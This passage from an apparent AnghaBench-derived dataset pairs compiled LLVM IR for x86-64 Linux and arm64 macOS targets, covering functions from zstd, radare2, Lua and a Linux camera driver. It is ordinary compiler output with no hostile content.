declare i32 @CHECK_ZSTD(i64 noundef) local_unnamed_addr #2
declare i32 @printf(ptr noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @ZSTD_freeDCtx(ptr noundef) local_unnamed_addr #2
declare i32 @free(ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"long", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/freebsd/sys/contrib/zstd/examples/extr_dictionary_decompression.c_decompress.c'
source_filename = "AnghaBench/freebsd/sys/contrib/zstd/examples/extr_dictionary_decompression.c_decompress.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@ZSTD_CONTENTSIZE_ERROR = common local_unnamed_addr global i64 0, align 8
@.str = private unnamed_addr constant [28 x i8] c"%s: not compressed by zstd!\00", align 1
@ZSTD_CONTENTSIZE_UNKNOWN = common local_unnamed_addr global i64 0, align 8
@.str.1 = private unnamed_addr constant [27 x i8] c"%s: original size unknown!\00", align 1
@.str.2 = private unnamed_addr constant [36 x i8] c"DictID mismatch: expected %u got %u\00", align 1
@.str.3 = private unnamed_addr constant [26 x i8] c"ZSTD_createDCtx() failed!\00", align 1
@.str.4 = private unnamed_addr constant [51 x i8] c"Impossible because zstd will check this condition!\00", align 1
@.str.5 = private unnamed_addr constant [20 x i8] c"%25s : %6u -> %7u \0A\00", align 1
@llvm.used = appending global [1 x ptr] [ptr @decompress], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @decompress(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca i64, align 8
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %3) #3
%4 = call ptr @mallocAndLoadFile_orDie(ptr noundef %0, ptr noundef nonnull %3) #3
%5 = load i64, ptr %3, align 8, !tbaa !6
%6 = call i64 @ZSTD_getFrameContentSize(ptr noundef %4, i64 noundef %5) #3
%7 = load i64, ptr @ZSTD_CONTENTSIZE_ERROR, align 8, !tbaa !10
%8 = icmp ne i64 %6, %7
%9 = zext i1 %8 to i32
%10 = call i32 (i32, ptr, ...) @CHECK(i32 noundef %9, ptr noundef nonnull @.str, ptr noundef %0) #3
%11 = load i64, ptr @ZSTD_CONTENTSIZE_UNKNOWN, align 8, !tbaa !10
%12 = icmp ne i64 %6, %11
%13 = zext i1 %12 to i32
%14 = call i32 (i32, ptr, ...) @CHECK(i32 noundef %13, ptr noundef nonnull @.str.1, ptr noundef %0) #3
%15 = call ptr @malloc_orDie(i64 noundef %6) #3
%16 = call i32 @ZSTD_getDictID_fromDDict(ptr noundef %1) #3
%17 = load i64, ptr %3, align 8, !tbaa !6
%18 = call i32 @ZSTD_getDictID_fromFrame(ptr noundef %4, i64 noundef %17) #3
%19 = icmp eq i32 %18, %16
%20 = zext i1 %19 to i32
%21 = call i32 (i32, ptr, ...) @CHECK(i32 noundef %20, ptr noundef nonnull @.str.2, i32 noundef %16, i32 noundef %18) #3
%22 = call ptr @ZSTD_createDCtx() #3
%23 = icmp ne ptr %22, null
%24 = zext i1 %23 to i32
%25 = call i32 (i32, ptr, ...) @CHECK(i32 noundef %24, ptr noundef nonnull @.str.3) #3
%26 = load i64, ptr %3, align 8, !tbaa !6
%27 = call i64 @ZSTD_decompress_usingDDict(ptr noundef %22, ptr noundef %15, i64 noundef %6, ptr noundef %4, i64 noundef %26, ptr noundef %1) #3
%28 = call i32 @CHECK_ZSTD(i64 noundef %27) #3
%29 = icmp eq i64 %27, %6
%30 = zext i1 %29 to i32
%31 = call i32 (i32, ptr, ...) @CHECK(i32 noundef %30, ptr noundef nonnull @.str.4) #3
%32 = load i64, ptr %3, align 8, !tbaa !6
%33 = trunc i64 %32 to i32
%34 = trunc i64 %6 to i32
%35 = call i32 @printf(ptr noundef nonnull @.str.5, ptr noundef %0, i32 noundef %33, i32 noundef %34) #3
%36 = call i32 @ZSTD_freeDCtx(ptr noundef %22) #3
%37 = call i32 @free(ptr noundef %15) #3
%38 = call i32 @free(ptr noundef %4) #3
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %3) #3
ret void
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare ptr @mallocAndLoadFile_orDie(ptr noundef, ptr noundef) local_unnamed_addr #2
declare i64 @ZSTD_getFrameContentSize(ptr noundef, i64 noundef) local_unnamed_addr #2
declare i32 @CHECK(i32 noundef, ptr noundef, ...) local_unnamed_addr #2
declare ptr @malloc_orDie(i64 noundef) local_unnamed_addr #2
declare i32 @ZSTD_getDictID_fromDDict(ptr noundef) local_unnamed_addr #2
declare i32 @ZSTD_getDictID_fromFrame(ptr noundef, i64 noundef) local_unnamed_addr #2
declare ptr @ZSTD_createDCtx(...) local_unnamed_addr #2
declare i64 @ZSTD_decompress_usingDDict(ptr noundef, ptr noundef, i64 noundef, ptr noundef, i64 noundef, ptr noundef) local_unnamed_addr #2
declare i32 @CHECK_ZSTD(i64 noundef) local_unnamed_addr #2
declare i32 @printf(ptr noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @ZSTD_freeDCtx(ptr noundef) local_unnamed_addr #2
declare i32 @free(ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"long", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !11, i64 0}
!11 = !{!"long long", !8, i64 0}
| freebsd_sys_contrib_zstd_examples_extr_dictionary_decompression.c_decompress |
; ModuleID = 'AnghaBench/radare2/libr/asm/arch/xtensa/gnu/extr_xtensa-modules.c_Field_s8_Slot_inst16a_set.c'
source_filename = "AnghaBench/radare2/libr/asm/arch/xtensa/gnu/extr_xtensa-modules.c_Field_s8_Slot_inst16a_set.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@llvm.compiler.used = appending global [1 x ptr] [ptr @Field_s8_Slot_inst16a_set], section "llvm.metadata"
; Function Attrs: mustprogress nofree norecurse nosync nounwind willreturn memory(argmem: readwrite) uwtable
define internal void @Field_s8_Slot_inst16a_set(ptr nocapture noundef %0, i32 noundef %1) #0 {
%3 = load i32, ptr %0, align 4, !tbaa !5
%4 = and i32 %3, -2049
%5 = shl i32 %1, 11
%6 = and i32 %5, 2048
%7 = sub nsw i32 0, %6
%8 = or i32 %4, %7
store i32 %8, ptr %0, align 4, !tbaa !5
ret void
}
attributes #0 = { mustprogress nofree norecurse nosync nounwind willreturn memory(argmem: readwrite) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/radare2/libr/asm/arch/xtensa/gnu/extr_xtensa-modules.c_Field_s8_Slot_inst16a_set.c'
source_filename = "AnghaBench/radare2/libr/asm/arch/xtensa/gnu/extr_xtensa-modules.c_Field_s8_Slot_inst16a_set.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @Field_s8_Slot_inst16a_set], section "llvm.metadata"
; Function Attrs: mustprogress nofree norecurse nosync nounwind ssp willreturn memory(argmem: readwrite) uwtable(sync)
define internal void @Field_s8_Slot_inst16a_set(ptr nocapture noundef %0, i32 noundef %1) #0 {
%3 = load i32, ptr %0, align 4, !tbaa !6
%4 = and i32 %3, -2049
%5 = shl i32 %1, 11
%6 = and i32 %5, 2048
%7 = sub nsw i32 0, %6
%8 = or i32 %4, %7
store i32 %8, ptr %0, align 4, !tbaa !6
ret void
}
attributes #0 = { mustprogress nofree norecurse nosync nounwind ssp willreturn memory(argmem: readwrite) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| radare2_libr_asm_arch_xtensa_gnu_extr_xtensa-modules.c_Field_s8_Slot_inst16a_set |
; ModuleID = 'AnghaBench/xLua/build/lua-5.3.3/src/extr_llex.c_luaX_newstring.c'
source_filename = "AnghaBench/xLua/build/lua-5.3.3/src/extr_llex.c_luaX_newstring.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_9__ = type { i32, ptr }
; Function Attrs: nounwind uwtable
define dso_local ptr @luaX_newstring(ptr nocapture noundef readonly %0, ptr noundef %1, i64 noundef %2) local_unnamed_addr #0 {
%4 = getelementptr inbounds %struct.TYPE_9__, ptr %0, i64 0, i32 1
%5 = load ptr, ptr %4, align 8, !tbaa !5
%6 = tail call ptr @luaS_newlstr(ptr noundef %5, ptr noundef %1, i64 noundef %2) #2
%7 = load i64, ptr %5, align 8, !tbaa !11
%8 = add nsw i64 %7, 1
store i64 %8, ptr %5, align 8, !tbaa !11
%9 = trunc i64 %7 to i32
%10 = tail call i32 @setsvalue2s(ptr noundef nonnull %5, i32 noundef %9, ptr noundef %6) #2
%11 = load i32, ptr %0, align 8, !tbaa !14
%12 = load i64, ptr %5, align 8, !tbaa !11
%13 = add nsw i64 %12, -1
%14 = tail call ptr @luaH_set(ptr noundef nonnull %5, i32 noundef %11, i64 noundef %13) #2
%15 = tail call i64 @ttisnil(ptr noundef %14) #2
%16 = icmp eq i64 %15, 0
br i1 %16, label %20, label %17
17: ; preds = %3
%18 = tail call i32 @setbvalue(ptr noundef %14, i32 noundef 1) #2
%19 = tail call i32 @luaC_checkGC(ptr noundef nonnull %5) #2
br label %23
20: ; preds = %3
%21 = tail call i32 @keyfromval(ptr noundef %14) #2
%22 = tail call ptr @tsvalue(i32 noundef %21) #2
br label %23
23: ; preds = %20, %17
%24 = phi ptr [ %6, %17 ], [ %22, %20 ]
%25 = load i64, ptr %5, align 8, !tbaa !11
%26 = add nsw i64 %25, -1
store i64 %26, ptr %5, align 8, !tbaa !11
ret ptr %24
}
declare ptr @luaS_newlstr(ptr noundef, ptr noundef, i64 noundef) local_unnamed_addr #1
declare i32 @setsvalue2s(ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #1
declare ptr @luaH_set(ptr noundef, i32 noundef, i64 noundef) local_unnamed_addr #1
declare i64 @ttisnil(ptr noundef) local_unnamed_addr #1
declare i32 @setbvalue(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @luaC_checkGC(ptr noundef) local_unnamed_addr #1
declare ptr @tsvalue(i32 noundef) local_unnamed_addr #1
declare i32 @keyfromval(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !10, i64 8}
!6 = !{!"TYPE_9__", !7, i64 0, !10, i64 8}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"any pointer", !8, i64 0}
!11 = !{!12, !13, i64 0}
!12 = !{!"TYPE_8__", !13, i64 0}
!13 = !{!"long", !8, i64 0}
!14 = !{!6, !7, i64 0}
| ; ModuleID = 'AnghaBench/xLua/build/lua-5.3.3/src/extr_llex.c_luaX_newstring.c'
source_filename = "AnghaBench/xLua/build/lua-5.3.3/src/extr_llex.c_luaX_newstring.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
; Function Attrs: nounwind ssp uwtable(sync)
define ptr @luaX_newstring(ptr nocapture noundef readonly %0, ptr noundef %1, i64 noundef %2) local_unnamed_addr #0 {
%4 = getelementptr inbounds i8, ptr %0, i64 8
%5 = load ptr, ptr %4, align 8, !tbaa !6
%6 = tail call ptr @luaS_newlstr(ptr noundef %5, ptr noundef %1, i64 noundef %2) #2
%7 = load i64, ptr %5, align 8, !tbaa !12
%8 = add nsw i64 %7, 1
store i64 %8, ptr %5, align 8, !tbaa !12
%9 = trunc i64 %7 to i32
%10 = tail call i32 @setsvalue2s(ptr noundef nonnull %5, i32 noundef %9, ptr noundef %6) #2
%11 = load i32, ptr %0, align 8, !tbaa !15
%12 = load i64, ptr %5, align 8, !tbaa !12
%13 = add nsw i64 %12, -1
%14 = tail call ptr @luaH_set(ptr noundef nonnull %5, i32 noundef %11, i64 noundef %13) #2
%15 = tail call i64 @ttisnil(ptr noundef %14) #2
%16 = icmp eq i64 %15, 0
br i1 %16, label %20, label %17
17: ; preds = %3
%18 = tail call i32 @setbvalue(ptr noundef %14, i32 noundef 1) #2
%19 = tail call i32 @luaC_checkGC(ptr noundef nonnull %5) #2
br label %23
20: ; preds = %3
%21 = tail call i32 @keyfromval(ptr noundef %14) #2
%22 = tail call ptr @tsvalue(i32 noundef %21) #2
br label %23
23: ; preds = %20, %17
%24 = phi ptr [ %6, %17 ], [ %22, %20 ]
%25 = load i64, ptr %5, align 8, !tbaa !12
%26 = add nsw i64 %25, -1
store i64 %26, ptr %5, align 8, !tbaa !12
ret ptr %24
}
declare ptr @luaS_newlstr(ptr noundef, ptr noundef, i64 noundef) local_unnamed_addr #1
declare i32 @setsvalue2s(ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #1
declare ptr @luaH_set(ptr noundef, i32 noundef, i64 noundef) local_unnamed_addr #1
declare i64 @ttisnil(ptr noundef) local_unnamed_addr #1
declare i32 @setbvalue(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @luaC_checkGC(ptr noundef) local_unnamed_addr #1
declare ptr @tsvalue(i32 noundef) local_unnamed_addr #1
declare i32 @keyfromval(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !11, i64 8}
!7 = !{!"TYPE_9__", !8, i64 0, !11, i64 8}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"any pointer", !9, i64 0}
!12 = !{!13, !14, i64 0}
!13 = !{!"TYPE_8__", !14, i64 0}
!14 = !{!"long", !9, i64 0}
!15 = !{!7, !8, i64 0}
| xLua_build_lua-5.3.3_src_extr_llex.c_luaX_newstring |
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/media/video/gspca/extr_sn9c20x.c_sd_pkt_scan.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/media/video/gspca/extr_sn9c20x.c_sd_pkt_scan.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.sd = type { ptr, i32 }
%struct.gspca_dev = type { i64, i64, %struct.TYPE_4__ }
%struct.TYPE_4__ = type { ptr }
%struct.TYPE_3__ = type { i32 }
@sd_pkt_scan.frame_header = internal global [6 x i32] [i32 255, i32 255, i32 0, i32 196, i32 196, i32 150], align 16
@LAST_PACKET = dso_local local_unnamed_addr global i64 0, align 8
@MODE_JPEG = dso_local local_unnamed_addr global i32 0, align 4
@FIRST_PACKET = dso_local local_unnamed_addr global i64 0, align 8
@JPEG_HDR_SZ = dso_local local_unnamed_addr global i32 0, align 4
@INTER_PACKET = dso_local local_unnamed_addr global i64 0, align 8
@llvm.compiler.used = appending global [1 x ptr] [ptr @sd_pkt_scan], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @sd_pkt_scan(ptr noundef %0, ptr noundef %1, i32 noundef %2) #0 {
%4 = icmp eq i32 %2, 64
br i1 %4, label %5, label %106
5: ; preds = %3
%6 = tail call i64 @memcmp(ptr noundef %1, ptr noundef nonnull @sd_pkt_scan.frame_header, i32 noundef 6) #2
%7 = icmp eq i64 %6, 0
br i1 %7, label %8, label %106
8: ; preds = %5
%9 = getelementptr inbounds i32, ptr %1, i64 35
%10 = load i32, ptr %9, align 4, !tbaa !5
%11 = lshr i32 %10, 2
%12 = and i32 %11, 3
%13 = getelementptr inbounds i32, ptr %1, i64 20
%14 = load i32, ptr %13, align 4, !tbaa !5
%15 = shl i32 %14, 2
%16 = or disjoint i32 %12, %15
%17 = getelementptr inbounds i32, ptr %1, i64 19
%18 = load i32, ptr %17, align 4, !tbaa !5
%19 = shl i32 %18, 10
%20 = or i32 %16, %19
%21 = lshr i32 %10, 4
%22 = and i32 %21, 3
%23 = getelementptr inbounds i32, ptr %1, i64 22
%24 = load i32, ptr %23, align 4, !tbaa !5
%25 = shl i32 %24, 2
%26 = or disjoint i32 %25, %22
%27 = getelementptr inbounds i32, ptr %1, i64 21
%28 = load i32, ptr %27, align 4, !tbaa !5
%29 = shl i32 %28, 10
%30 = or i32 %26, %29
%31 = add nsw i32 %30, %20
%32 = lshr i32 %10, 6
%33 = and i32 %32, 3
%34 = getelementptr inbounds i32, ptr %1, i64 24
%35 = load i32, ptr %34, align 4, !tbaa !5
%36 = shl i32 %35, 2
%37 = or disjoint i32 %36, %33
%38 = getelementptr inbounds i32, ptr %1, i64 23
%39 = load i32, ptr %38, align 4, !tbaa !5
%40 = shl i32 %39, 10
%41 = or i32 %37, %40
%42 = add nsw i32 %31, %41
%43 = getelementptr inbounds i32, ptr %1, i64 36
%44 = load i32, ptr %43, align 4, !tbaa !5
%45 = and i32 %44, 3
%46 = getelementptr inbounds i32, ptr %1, i64 26
%47 = load i32, ptr %46, align 4, !tbaa !5
%48 = shl i32 %47, 2
%49 = or disjoint i32 %48, %45
%50 = getelementptr inbounds i32, ptr %1, i64 25
%51 = load i32, ptr %50, align 4, !tbaa !5
%52 = shl i32 %51, 10
%53 = or i32 %49, %52
%54 = add nsw i32 %42, %53
%55 = lshr i32 %44, 2
%56 = and i32 %55, 3
%57 = getelementptr inbounds i32, ptr %1, i64 28
%58 = load i32, ptr %57, align 4, !tbaa !5
%59 = shl i32 %58, 2
%60 = or disjoint i32 %59, %56
%61 = getelementptr inbounds i32, ptr %1, i64 27
%62 = load i32, ptr %61, align 4, !tbaa !5
%63 = shl i32 %62, 10
%64 = or i32 %60, %63
%65 = add nsw i32 %54, %64
%66 = lshr i32 %44, 4
%67 = and i32 %66, 3
%68 = getelementptr inbounds i32, ptr %1, i64 30
%69 = load i32, ptr %68, align 4, !tbaa !5
%70 = shl i32 %69, 2
%71 = or disjoint i32 %70, %67
%72 = getelementptr inbounds i32, ptr %1, i64 29
%73 = load i32, ptr %72, align 4, !tbaa !5
%74 = shl i32 %73, 10
%75 = or i32 %71, %74
%76 = add nsw i32 %65, %75
%77 = lshr i32 %44, 6
%78 = and i32 %77, 3
%79 = getelementptr inbounds i32, ptr %1, i64 32
%80 = load i32, ptr %79, align 4, !tbaa !5
%81 = shl i32 %80, 2
%82 = or disjoint i32 %81, %78
%83 = getelementptr inbounds i32, ptr %1, i64 31
%84 = load i32, ptr %83, align 4, !tbaa !5
%85 = shl i32 %84, 10
%86 = or i32 %82, %85
%87 = add nsw i32 %76, %86
%88 = getelementptr inbounds i32, ptr %1, i64 44
%89 = load i32, ptr %88, align 4, !tbaa !5
%90 = lshr i32 %89, 4
%91 = and i32 %90, 3
%92 = getelementptr inbounds i32, ptr %1, i64 34
%93 = load i32, ptr %92, align 4, !tbaa !5
%94 = shl i32 %93, 2
%95 = or disjoint i32 %91, %94
%96 = getelementptr inbounds i32, ptr %1, i64 33
%97 = load i32, ptr %96, align 4, !tbaa !5
%98 = shl i32 %97, 10
%99 = or i32 %95, %98
%100 = add nsw i32 %87, %99
%101 = ashr i32 %100, 9
%102 = getelementptr inbounds %struct.sd, ptr %0, i64 0, i32 1
%103 = tail call i32 @atomic_set(ptr noundef nonnull %102, i32 noundef %101) #2
%104 = load i64, ptr @LAST_PACKET, align 8, !tbaa !9
%105 = tail call i32 @gspca_frame_add(ptr noundef %0, i64 noundef %104, ptr noundef null, i32 noundef 0) #2
br label %134
106: ; preds = %5, %3
%107 = load i64, ptr %0, align 8
%108 = load i64, ptr @LAST_PACKET, align 8, !tbaa !9
%109 = icmp eq i64 %107, %108
%110 = inttoptr i64 %107 to ptr
br i1 %109, label %111, label %131
111: ; preds = %106
%112 = getelementptr inbounds %struct.gspca_dev, ptr %0, i64 0, i32 2
%113 = load ptr, ptr %112, align 8, !tbaa !11
%114 = getelementptr inbounds %struct.gspca_dev, ptr %0, i64 0, i32 1
%115 = load i64, ptr %114, align 8, !tbaa !15
%116 = shl i64 %115, 32
%117 = ashr exact i64 %116, 32
%118 = getelementptr inbounds %struct.TYPE_3__, ptr %113, i64 %117
%119 = load i32, ptr %118, align 4, !tbaa !16
%120 = load i32, ptr @MODE_JPEG, align 4, !tbaa !5
%121 = and i32 %120, %119
%122 = icmp eq i32 %121, 0
%123 = load i64, ptr @FIRST_PACKET, align 8, !tbaa !9
br i1 %122, label %129, label %124
124: ; preds = %111
%125 = load i32, ptr @JPEG_HDR_SZ, align 4, !tbaa !5
%126 = tail call i32 @gspca_frame_add(ptr noundef nonnull %0, i64 noundef %123, ptr noundef %110, i32 noundef %125) #2
%127 = load i64, ptr @INTER_PACKET, align 8, !tbaa !9
%128 = tail call i32 @gspca_frame_add(ptr noundef nonnull %0, i64 noundef %127, ptr noundef %1, i32 noundef %2) #2
br label %134
129: ; preds = %111
%130 = tail call i32 @gspca_frame_add(ptr noundef nonnull %0, i64 noundef %123, ptr noundef %1, i32 noundef %2) #2
br label %134
131: ; preds = %106
%132 = load i64, ptr @INTER_PACKET, align 8, !tbaa !9
%133 = tail call i32 @gspca_frame_add(ptr noundef nonnull %0, i64 noundef %132, ptr noundef %1, i32 noundef %2) #2
br label %134
134: ; preds = %131, %129, %124, %8
ret void
}
declare i64 @memcmp(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @atomic_set(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @gspca_frame_add(ptr noundef, i64 noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
